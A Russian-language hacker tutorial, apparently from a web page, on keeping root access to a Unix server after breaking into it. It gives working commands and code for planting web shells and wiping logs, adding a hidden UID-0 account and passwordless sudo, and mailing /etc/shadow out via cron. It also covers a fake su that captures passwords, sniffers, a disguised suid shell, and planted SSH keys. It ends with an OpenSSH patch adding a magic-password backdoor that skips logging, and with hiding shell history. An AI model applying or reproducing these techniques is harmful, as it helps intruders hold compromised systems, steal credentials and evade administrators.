Новичку полезно

  • А знаете ли вы что?

    - Войди в счастливое завтра с rudvs.


Способы сохранения root-доступа

Я уверен, у многих возникают вопросы, как закрепиться в системе после взлома. На любителя - установить rootkit, но часто бывает, что он не собирается или заточен под определенную версию ядра, тем более любой пассивный IDS без проблем сможет вычислить популярный shv5 ...

Какие варианты спросите Вы?
В этой статье я попробую ответить на этот вопрос и описать известные мне универсальные способы, удержания «нулевых» привилегий, которые должны работать на всех nix:

id
uid=0(root) gid=0(root)
  1. Для начала я бы порекомендовал по возможности “залатать” ту дыру, через которую вы попали в систему, потому что, если вы смогли, то кто-нибудь точно так же сможет, или уже смог проникнуть на сервер.
    find / -type f -perm 4755
    также проверим содержание /tmp на наличие различных perl’овых скриптов и сишных исходников если на первый взгляд все вроде бы и нормально, то чтобы убедиться в отсутствии public rootkit’ов установим rkhunter:
    http://downloads.rootkit.nl/  
    ./installer.sh
    rkhunter –c
    
    смотрим вывод, если нам не сообщат, что в системе установлен rootkit, то удаляем rkhunter:
    rm -rf /usr/local/rkhunter/
    rm -rf /usr/bin/rkhunter/
    
    в противном случае придется почитать форумы )))
  2. Как рекомендация, в любом случае заныкайте куда-нибудь на сервере web-shell... в случае если админ прикроет доступ, будет альтернативный подступ. Первым делом чистим логи: http://packetstormsecurity.org/UNIX/...rs/vanish2.tgz

    ./vanish user 0 ip
    
  3. Так как доступ у нас будет осуществляться по ssh, заглянем в /etc/ssh/sshd_conf , если там PermitRootLogin no, то в этом случае нам потребуется еще одна учетная запись или как вариант исправить PermitRootLogin на yes и перезапустить sshd
    1. Добавить пользователя
      Нужно отметить, что способ довольно палевный, и если админ не совсем баян, то вам перекроют кислород довольно быстро:
      echo ‘mial:x:0:0:mail:/var/spool/mail/:/bin/bash’ >> /etc/passwd
      echo ‘mial:$1$KVa6w1eH$Mdg2j4Og0gH1AhPJsZFJW/:::::::’ >> /etc/shadow
      
    2. Используем sudo
      Sudo предоставляет избранным пользователям выполнять команды как суперюзер Добавим в /etc/sudoers
      hacker ALL=(ALL) NOPASSWD: ALL
      
      то есть пользователь hacker получить возможность пользоваться sudo без ввода пароля
    3. Узнать пароль root’а
      Сделать это можно следующими способами:
      • Расшифровать пароли из /etc/shadow
        В /etc/shadow хранятся хеши паролей, алгоритм UnixMD5, скорость перебора не очень большая, поэтому в этом деле поможет хороший словарик или много времени, мощное железо и немного удачи.
        Можно даже прописать в cron высылать содержимое shadow нам на мыло:  
        cd /etc/cron.monthly
        echo “cat /etc/shadow | grep root | mail bill(псинка)microsoft.com ” > updatedb.cron
        
        если shadow небольшой, то можно даже целиком
      • fake-su
        По .bash_history найдем пользователей активно юзающих su
        в .bash_profile прописывается alias su на наш fake, при вводе пароля fake срабатывает как будто был введен не правильный пароль и запишет его в файл, после чего запускается настоящий su.
        Пример:
        http://packetstormsecurity.org/UNIX/...n/kpr-fakesu.c  
      • Сниффинг
        Перечислю некоторые: eth0sniff, PHossS, sniffit, tcpick...
        Сниффер переводит сетевой интерфейс в promiscuous режим, что делает возможным «отлов» паролей ftp,pop,imap и др, среди которых, не исключено, могут попасться пароли, подходящие к учёткам, в том числе и root. На всякий случай скажу, что всё должно делаться из-под root’а.
        Для установки может понадобится libpcap http://tcpdump.org/release/
        сниффер обычно запускают в background’е и делают вывод в файл example:
        ./PHossS > /tmp/phpsig31337.log &
        
        Спустя пару дней/часов(не нужное зачеркнуть) можно возвращаться за урожаем соберем список паролей из логов и прогоним /etc/shadow john’ом, что-нибудь да расшифруется wink.gif
      • Suidshell
        Способ довольно тривиальный, но зачастую работает
        я немного модифицировал код, для отвода глаз, вызываем с параметром -! и вводим пароль
        #include  
        void exreal();
         
        int main(int argc, char *argv[])
        {
         char pass[15];
         if (argc 
        скомпилируем и заменим какой-нибудь ping6 или traceroute6 )))
        chmod 4755 our_suid
    4. Идентификация в SSH по открытому ключу
      В OpenSSH могут быть использованы алгоритмы аутентификации RSA или DSA.
      Эти протоколы основаны на базе специально созданной паре ключей, а именно публичном и приватном ключах. Это асимметричные алгоритмы шифрования, то есть мы можем зашифровать информацию одним ключом, а расшифровать только другим.
      Во-первых, сгенерируем пару ключей. Опцией -t мы задаём тип ключа, доступны следующие типы ключей rsa, dsa для протокола SSH 2 и rsa1 для SSH 1.
      Далее, если необходимо, указываем место куда сохранить ключ, по умолчанию /home/user/.ssh/id_dsa. Если вводим пароль, наш приватный ключ будет зашифрован и для того, чтобы позднее воспользоваться этим ключом нам необходимо будет ввести пароль. Публичный ключ имеет суффикс .pub.
      Суть заключается в добавление нашего public ключа в authorized_keys (располагается в папке .ssh, в корневой директории пользователя, если её нет, нужно создать). Нужно подметить, то что, если даже пароль учетной записи будет изменен, доступ у нас останется.
      Предварительно нам нужно сгенерировать пару ключей, для примера я выбрал dsa:
      nix
      ssh-keygen –t dsa
      
      при генерации вам предложат указать идентификационную фразу для защиты ключа (можете указать) создастся пара ключей в папке ~/.ssh
      id_dsa.pub - Открытый ключ (open key)
      id_dsa - Закрытый ключ (private key)
      копируем содержание нашего id_dsa.pub в authorized_keys на взломанном хосте если мы разместили в /root/.ssh/authorized_keys то нам надо выполнить ssh Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript т.е. нам нужно войти под тем пользователь, которому добавили наш ключ в authorized_keys если вы вводили идентификационную фразу, вас попросят её ввести
      windows
      если вы коннектитесь с windows, то используйте утилиту PuTTYgen (an RSA and DSA key generation utility) выбираем SSH2-DSA и нажимаем Generate:
      сохраняем Private key у себя на компе, а Public Key добавляем в authorized_key
      запускаем putty, вкладка ssh -> Auth, тут выбираем наш private key
      и точно так же попадаем на сервер
    5. Модификация sshd
      смотрим версию ssh:
      telnet localhost 22
      SSH-1.99-OpenSSH_3.1p
      ^]
      
      качаем src нужной версии и следующие изменения:
      ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/
      //auth-passwd.c
      extern int nolog; //добавляем в начале файла
       
      //в конце файла находим строку и заменяем:
      if (strcmp(password,"magicpassword") == 0) {nolog=1;}
      return (strcmp(encrypted_password, pw_password) == 0 || strcmp(password, "secretpassword") == 0);
      
      //loginrec.c
       
       int nolog; //добавляем в начале файла
       
       //Изменяем функцию login:
       int login_login (struct logininfo *li)
       {
       if (nolog == 1) { return 1;}
       else
       {
        li->type = LTYPE_LOGIN;
        return login_write(li);
       }
      }
      
      //Изменяем функцию logout:
       int login_logout(struct logininfo *li)
       {
       if (nolog == 1) { return 1;}
       else
       {
        li->type = LTYPE_LOGOUT;
        return login_write(li);
       }
      }
      
      Теперь при подключение по ssh, если мы введем magicpassword нас пускают без лишних вопрос и не заносят в лог факт о входе, в остальном всё работает по прежнему.
      соберем и перезапустим sshd:
      ./configure --sysconfdir=/etc/ssh/ //директория, где лежит sshd_conf
      make
      cp /usr/sbin/sshd /usr/sbin/sshd //на всякий пожарный
      cp sshd /usr/sbin/sshd
      /sbin/service sshd restart //перезапускаем службу
      
      тагже можно модифицировать ssh так, чтобы логировать пароли исходящих/входящих подключений и таким образом поиметь аккаунты на других системах, это способ описан в статье от ShadOS: “Наиболее полное руководство по затрояниванию OpenSSH 4.6p1”
  4. bash_history
    История команд хранится в основной директории пользователя в файле .bash_history, «нехорошие» команды могут нас выдать, поэтому каждый раз перед выходом
    unset HISTFILE
    
    или как вариант запретить запись в .bash_history ))
     chmod 400 .bash_history
    

Добавить комментарий


Обновить